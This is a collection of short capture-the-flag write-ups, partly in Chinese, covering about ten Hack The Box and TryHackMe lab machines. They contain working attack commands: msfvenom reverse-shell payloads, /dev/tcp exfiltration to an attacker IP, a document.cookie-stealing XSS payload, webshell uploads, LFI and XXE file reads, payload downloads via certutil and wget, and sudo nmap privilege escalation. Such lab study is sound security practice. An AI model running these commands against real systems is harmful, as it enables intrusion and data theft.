Bashed (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/118 IP : 10.129.209.72 Recon RustscanWeb- dirsearch 發現 /dev/ 裡面有 phpbash PHP Bash 可以直接用 cat /etc/passwd 指令 Reverse shell 直接戳習慣的 reverse shell 會自動離開改戳 msf 的 reverse shell- msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7877 -f elf > shell就順利接上了- spawn shell- python -c 'import pty; pty.spawn("/bin/bash")' 提權 起手式 sudo -l 可以切換使用者到 scriptmanager sudo -u scriptmanager bash 跑 Linpeas 傳回來- cat s_peas.txt > /dev/tcp/10.10.16.35/1234使用 CVE-2017-16995 Kernel Exploit- wget http://10.10.16.35/CVE-2017-16995/exploit 成功提權取得 Root Flag- cc4f0afe3a1026d402ba10329674a8e2 提權 2 觀察 /scripts裡面看起來 是 cronjob 跑 Python 用 msf 再生一個 reverse shell (跟目前不同 port)- msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7878 -f elf > shell1傳到靶機加權限- wget 10.10.16.35/shell1 chmod 777 shell1寫入 cron job 的 py- echo 'import os' >> test.py echo 'os.system("/scripts/shell1")' >> test.py收到 Reverse shell-

2021-09-15 · 1 分鐘 · steven

Bank (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/26 IP : 10.129.29.200 Recon RustscanNmap- 通靈加 Host- 加 /etc/hosts加 Host 載下來看- 發現 302 轉走,但其實是有資料ㄉ掃目錄- http://bank.htb/assets/ 嘗試傳 Webshell support.php 看起來可以傳檔案 但只能傳圖片嘗試用各種方法繞- 但基本上都失敗 取得密碼 通靈掃到 /balance-transfer 發現裡面的資訊都有過加密- 複製出來觀察 size a = a.replace("[ ] ","") a = a.split("\n") l = [] for i in a: i = i.split(" ") l.append(int(i[1])) l.sort() print(l) 發現有一個檔案大小只有257 觀察檔案內容- 取得帳密chris@bank.htb !##HTBB4nkP4ssw0rd!##順利登入- 又回到 support.php- 測各種副檔名繞過- s.php%00.jpg s.php\x00.jpg 都失敗測 XSS- new Image().src="http://10.10.16.35:1234/"+document.cookie 成功檢查註解- 發現可以用 .htb 成功上傳 Webshell- 執行 Reverse shell bank.htb/uploads/s.htb?A=wget 10.10.16.35:8000/s_HTB http://bank.htb/uploads/s.htb?A=bash%20s_HTB spawnpython -c 'import pty; pty.spawn("/bin/bash")' 提權 Kernel Version有奇怪的 SUID 程式- 直接執行- 就 Root shell ㄌ取得 Flag- RootUser- 嘗試不登入傳 shell 先隨便傳Burp 改副檔名 .htb- 上傳成功- 所以取得密碼的那一段根本不用做就可以結束ㄌ= = 學到了 php 副檔名方法 注意註解 QQ

2021-09-15 · 1 分鐘 · steven

Optimum (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/6 IP : 10.129.209.84 Information Gathering 掃 Port觀察 80 port- HFS 2.3 尋找 Exploit 找到https://www.exploit-db.com/exploits/39161 需要準備 ncwget https://github.com/int0x33/nc.exe/raw/master/nc.exe依照需求開 http server- python3 -m http.server 80 放 nc執行腳本- 收到 Reverse shell- 取得 User flag- 提權 systeminfo載豌豆- certutil -urlcache -f http://10.10.16.35:8000/winPEASx64.exe winpeas.exe 執行豌豆- 看到帳密kostas kdeEjDowkS*使用 Windows-Exploit-Suggester- https://github.com/AonCyberLabs/Windows-Exploit-Suggester 需要先裝指定版本的 xlrdpip install xlrd==1.2.0``./windows-exploit-suggester.py --update- 尋找推薦的 Exploit 腳本嘗試 MS16-032- wget https://www.exploit-db.com/download/39719 -O Invoke-MS16-032.ps1 載腳本certutil -urlcache -f http://10.10.16.35/Invoke-MS16-032.ps1 Invoke-MS16-032.ps1失敗- https://evi1cg.me/archives/MS16-032-Windows-Privilege-Escalation.html 看起來因為他是給 GUI 用的,需要彈出額外視窗嘗試 MS16-098- https://github.com/sensepost/ms16-098 載下來執行 成功取得 System Flag-

2021-09-09 · 1 分鐘 · steven

Archetype (Hack The Box Writeup)

掃 Port rustscan -a 10.10.10.27 -r 1-65535nmap 繼續掃- nmap -A -p135,139,445,5985,47001,49664,49665,49666,49667,49669,49668 10.10.10.27 一堆的 RPC SMB 1433 是 MSSQL SMB SMB 匿名登入 發現 backupsbackups 資料夾- 一個 Config 載下來取得密碼資訊- Host Name : ARCHETYPE User ID : sql_svc Password : M3g4c0rp123 MSSQL 安裝 impacketsudo apt install python3-impacket``impacket-mssqlclient -p 1433 sql_svc@10.10.10.27 -windows-auth- MSSQL 取得 Shell 就有機會可以 RCE- exec xp_cmdshell '{指令}'``systeminfo- dir- exec xp_cmdshell 'dir'透過開啟本地 smb- impacket-smbserver meow .準備 Reverse shell- msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.16 LPORT=7877 -e x86/shikata_ga_nai -f exe > shell.exe經測試,不掛 x86/shikata_ga_nai 就會被 Defender 吃掉 Shell 執行 Shellexec xp_cmdshell '\\10.10.16.16\meow\shell.exe' 收回 Reverse shell- 取得 User Flag

2021-09-09 · 1 分鐘 · steven

Netmon (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/Netmon IP : 10.129.210.193 Recon Rustscan Open 10.129.210.193:80 Open 10.129.210.193:135 Open 10.129.210.193:139 Open 10.129.210.193:445 Open 10.129.210.193:5985 nmap FTP- Web- appVersion’:‘18.1.37.13946’ https://github.com/wildkindcc/CVE-2018-9276 https://github.com/chcx/PRTG-Network-Monitor-RCE FTP Try Exploithttps://github.com/chcx/PRTG-Network-Monitor-RCE 需要登入才能用,所以我們需要找帳密QQ從官網發現 Log 跟 Config 存在 /ProgramData/Paessler- wget -r ftp://10.129.210.193/ProgramData/Paessler 整包載下來grep password */* | less- 發現 PRTG Configuration.dat 很可疑 看到相關的檔案有以下幾個- PRTG Configuration.old.bak PRTG Configuration.dat PRTG Configuration.old Configuration Auto-Backups/*``PRTG Configuration.old.bak 應該最可疑- 看到帳密prtgadmin PrTg@dmin2018 但登入失敗通靈把密碼改 2019- prtgadmin PrTg@dmin2019 登入成功 Exploit https://github.com/wildkindcc/CVE-2018-9276`python CVE-2018-9276.py -i 10.129.210.202 -p 80 –lhost 10.10.16.35 –lport 7877 –user prtgadmin –password PrTg@dmin2019` 確定權限- 取得 Flag- 學到了 FTP 記得 ls -al 避免隱藏檔案 密碼可以試試看猜規則 QQ年分之類的

2021-09-08 · 1 分鐘 · steven

Devel (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/3 IP : 10.129.208.183 Information Gathering Port Scanrustscan -a 10.129.208.183 -r 1-65535 21 : FTP 80 : Web FTP Services Try to connect to ftpUse Aspx Web shell- https://raw.githubusercontent.com/SecWiki/WebShell-2/master/Aspx/awen%20asp.net%20webshell.aspx Web Shell Install Reverse ShellASPX Reverse shell https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx Reverse shell Check System Infouser : iis apppool\web- System : Win 7 x64 6.1.7600 N/A Build 7600- Check Environment Variable Privilege Escalation With OS VersionExploit : MS11-046 Kernel Exploits- https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046Download Exploit file to target machine- certutil -urlcache -f http://10.10.16.35:8000/ms11-046.exe ms11-046.exeRun binary- Get SystemUser Flag- Root Flag-

2021-09-08 · 1 分鐘 · steven

Legacy (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/2 IP : 10.10.10.4 Info gathering nmap scan portenum4linux check version- nmap check smb version- So… we know that- Domain name : HTB OS : Windows XP Open Services : SMB Find Exploit GoogleXP SMB Exploit https://github.com/helviojunior/MS17-010 MS17-010Prepare reverse shell exe file- msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7879 -f exe > shell_reverse_tcpRun exploit- Get reverse shell- Flag Root FlagUser Flag-

2021-09-05 · 1 分鐘 · steven

Lame (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/Lame IP : 10.129.197.50 Info gathering Port Scanning21,22,139,445,3632- Anonymous FTP SMB 3632 Port distccd File Protocol Try anonymous login FTP It’s emptyTry anonymous login SMB- There are tmp and opt folder Access tmp folder Download all file Exploit Distccd Distccd_rce_CVE-2004-2687https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855 Run Reverse shell- Get User Flag- Privilege escalation Run LinPEASNFS Exploit?- Eterm SGID Binary?- nmap SUID !!Nmap GTFOBins- Shell (2) Interactive shellhttps://gtfobins.github.io/gtfobins/nmap/#suid nmap --interactive nmap> !shGet Root Flag-

2021-09-05 · 1 分鐘 · steven

Beep (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/Beep IP : 10.129.1.226 Recon 80 port is a login pageElastix Find Payload LFI Elastix 2.2.0 - ‘graph.php’ Local File Inclusionhttps://www.exploit-db.com/exploits/37637Try LFI- https://10.129.1.226/vtigercrm/graph.php?current_language=../../../../../../../etc/passwd%00&module=Accounts&action With python request script, it will throw a exception, because the ssl version is toooo ol.- https://stackoverflow.com/questions/32330919/python-ssl-ssl-sslerror-ssl-unsupported-protocol-unsupported-protocol-ssl Use this command to change the min version of TLSsed -i 's/MinProtocol = TLSv1.2/MinProtocol = TLSv1.0/' /etc/ssl/openssl.cnf RCE Find RCE Codehttps://github.com/infosecjunky/FreePBX-2.10.0—Elastix-2.2.0—Remote-Code-Execution/blob/master/exploit.pyTurn nc to receive reverse shell- Privilege Escalation sudo -l check , we can sudo nmapsudo nmap --interactive

2021-09-05 · 1 分鐘 · steven

Battery (Try Hack Me Writeup)

URL : https://tryhackme.com/room/battery IP : 10.10.207.162 Recon 掃 Portrustscan -a 10.10.207.162 -r 1-65535 發現有開22 80nmap -A -p22,80 10.10.207.162- Web 觀察首頁掃路徑- /forms/admin.php- 發現 /forms 把 Header 拔掉就不會自動跳轉- 裡面傳送的資料是 XML ,可能可以 XXE但沒有登入都失敗 function XMLFunction(){ var xml = '' + '' + '' + '' + $('#name').val() + '' + '' + $('#search').val() + '' + ''; var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ console.log(xmlhttp.readyState); console.log(xmlhttp.responseText); document.getElementById('errorMessage').innerHTML = xmlhttp.responseText; } } xmlhttp.open("POST","forms.php",true); xmlhttp.send(xml); }; 在 register.php 註冊一組帳密meow ABC meow 註冊成功嘗試登入- 使用介面上的功能 發現不能使用再註冊一組- meow1 DEF meow1掃目錄- 發現一個 /report載下來發現是一個 ELF- Reverse 選單使用者- 字串比較- 更新- 這邊看到 admin@bank.a 滿可疑的 Web 嘗試註冊 admin@bank.a 被嘲諷ㄌQQ 但這代表應該確實跟這個有關!!用 Burp 後面加上 %00 截斷- 註冊成功- 後台亂輸入都會噴錯- 重新試著 XXE- function XMLFunction(){ var xml = '' + '\n' + ' ]>\n' + '' + '' + "0" + '' + '' + "&b;" + '' + ''; var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ console.log(xmlhttp.readyState); console.log(xmlhttp.responseText); } } xmlhttp.open("POST","forms.php",true); xmlhttp.send(xml); }; XMLFunction(); 可以讀檔 cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false yash:x:1002:1002:,,,:/home/yash:/bin/bash 看起來有興趣的使用者cyber yash讀取原始碼- php://filter/convert.base64-encode/resource=/var/www/html/acc.php 找到註解上的密碼//MY CREDS :- cyber:super#secure&password! SSH 順利連上取得 Base Flag- 提權 起手式 sudo -l 發現可以用 root 執行一個 run.py``run.py- 但我們沒有權限讀取他 QQ觀察原始碼- admin.php找到 mysql 的帳密Dump Mysql- mysqldump -u root -h 127.0.0.1 -p details > a.sql 看到一組密碼 I_know_my_password但好像就沒有什麼進展了 QQ跑 Linpeas- 發現 Linux Kernel 好像有點舊,可以用 Exploit https://www.exploit-db.com/exploits/37292試著載下來編譯執行- 就成功 Root ㄌFlag2- Root Flag- 另外一種提權法 剛剛可以用 sudo 執行 run.py但是沒有權限可以讀取但因為這是我的家目錄,所以我可以改檔名、新增檔案- 所以自己創一個 run.py- import os os.system("/bin/bash")再 sudo 它- 也可以順利提權 學到ㄌ %00 截斷 XXE 記得加 ;

2021-09-02 · 2 分鐘 · steven